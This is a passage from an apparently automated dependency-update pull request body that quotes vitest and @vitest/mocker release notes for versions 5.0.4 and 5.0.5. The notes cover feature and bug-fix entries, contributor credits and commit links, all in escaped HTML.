href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6a11cf66f99fa610b7364363d5ca42b66d994f40\"\u003e\u003ccode\u003e6a11cf6\u003c/code\u003e\u003c/a\u003e chore: release v5.0.4 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11554\"\u003e#11554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/58c86edb92ec4d470dc87c060002cbd5725900de\"\u003e\u003ccode\u003e58c86ed\u003c/code\u003e\u003c/a\u003e chore(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11550\"\u003e#11550\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c95521730bbc58ab20052f7ff807c29a8fbeb65\"\u003e\u003ccode\u003e5c95521\u003c/code\u003e\u003c/a\u003e fix(browser): clean up unmocked and pending mocks (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11537\"\u003e#11537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/cd423ba045ed50662ea8e7bf7c2373e876cc0e5e\"\u003e\u003ccode\u003ecd423ba\u003c/code\u003e\u003c/a\u003e fix(mocker): fix native loader mocking edge cases (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11540\"\u003e#11540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00ec0f241820b7d885e37e84a61abba2c\"\u003e\u003ccode\u003e36d19cb\u003c/code\u003e\u003c/a\u003e fix: wrap module mocks during in-source testing (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11505\"\u003e#11505\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe025b26616904c1e35636cb43b74ceb41002c41\"\u003e\u003ccode\u003efe025b2\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency msw to v3 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11482\"\u003e#11482\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9d81007cc10390da5d802e5d673e7b9e\"\u003e\u003ccode\u003eb0f2b3b\u003c/code\u003e\u003c/a\u003e fix: track project files and mocks with --changed (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11432\"\u003e#11432\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/33cadea62e8763c455c7fca38d9ab1dda87c5f75\"\u003e\u003ccode\u003e33cadea\u003c/code\u003e\u003c/a\u003e chore: release v5.0.3 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11409\"\u003e#11409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35\"\u003e\u003ccode\u003e15cc006\u003c/code\u003e\u003c/a\u003e fix: don't print an interceptor warning in browser mode (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/mocker/issues/11377\"\u003e#11377\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/mocker\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 3.2.7 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted 